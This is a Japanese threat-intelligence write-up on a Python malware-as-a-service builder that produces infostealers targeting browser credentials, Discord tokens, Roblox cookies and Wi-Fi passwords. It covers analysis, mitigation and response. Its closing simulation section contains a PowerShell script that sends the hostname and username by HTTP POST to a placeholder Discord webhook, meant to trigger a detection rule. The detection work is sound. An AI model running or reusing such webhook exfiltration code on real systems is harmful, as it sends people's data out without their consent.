スティーラー工場：インフォスティーラー構築のためのPython駆動MaaS

概要

新しいマルウェア・アズ・ア・サービス（MaaS）運用が、Pythonベースのビルダーを使用してカスタマイズされた情報盗難ペイロードを生成していることが確認されました。このビルダーは、NuitkaやPyInstallerを通じてマルウェアをWindows実行ファイルとしてパッケージ化しつつ、ウェブフックの設定を埋め込むことができます。生成されたスティーラーは、ブラウザの資格情報、Discordトークン、Robloxクッキー、保存されたWi-Fiパスワードをターゲットとします。

調査

アナリストは、ビルダーと埋め込まれたペイロードを含む入れ子になったアーカイブを調査しました。この調査では、ビルダーがXORおよびBase64エンコードを使用してウェブフックURLを保護しており、必要な依存関係を自動的にインストールできることが判明しました pip.exe。生成されたペイロードは、デバッガの検出や、サンドボックス環境を識別するためのディスクサイズチェックを含む、解析対策技術も実装しています。

緩和策

組織は pip.exe の予期しない実行や疑わしいスケジュールされたタスクの作成を監視する必要があります。ブラウザのデータディレクトリへのアクセスを制限し、 netsh コマンドの不正使用を検出することで、さらなる露出を減らすことができます。エンドポイント保護ソリューションを最新の状態に保つことも、急速に進化するPythonベースのマルウェアファミリを識別するために重要です。

対応策

悪意のある活動が検出された場合、攻撃者が制御するウェブフックを通じたデータエクスフィルトレーションを停止するために、影響を受けたエンドポイントを隔離します。レジストリのRunキーとスケジュールタスクを確認し、不正な永続化メカニズムを見直します。未知、初めて観察された、または疑わしいウェブフックエンドポイントに向けられた異常なHTTP POSTリクエストについてネットワークのテレメトリーを分析します。

シミュレーション実行

• 攻撃の物語とコマンド: 敵対者がWindowsワークステーションに軽量のインフォスティーラーを展開しました。専用のC2サーバーを管理する手間を避けるため、攻撃者はDiscord Webhookを使用してシステムメタデータ（例：ホスト名とユーザー名）をエクスフィルトレーションします。このスクリプトはDiscord APIへのHTTP POSTリクエストを実行します。このアクションは、正規の開発者やゲームのトラフィックと一体化するように設計されていますが、特に discordapp.com/api/webhooks のURIパターンを、検出ルールがフラグを立てるようプログラムされています。

• リグレッションテストスクリプト：

  # Discord Webhookによるデータエクスフィルトレーションのシミュレーション
  $webhookUrl = "https://discordapp.com/api/webhooks/test-id/test-token"
  $payload = @{
      content = "エクスフィルトレートされたデータ：ホスト名=$env:COMPUTERNAME, ユーザー=$env:USERNAME"
  } | ConvertTo-Json
  
  Write-Host "[+] Webhookエクスフィルトレーションをシミュレート中..."
  try {
      Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json"
      Write-Host "[+] シミュレーションコマンドが正常に送信されました。"
  } catch {
      Write-Host "[-] コマンド送信（URLが偽の場合、失敗が予期されるが、テレメトリーは生成されるべき）：$_"
  }

• クリーンアップコマンド：

  # 永続的なファイルは作成されませんでした。このメモリのみのシミュレーションにクリーンアップは必要ありません。
  Write-Host "[+] クリーンアップ完了：システム上にアーティファクトは残されていません。"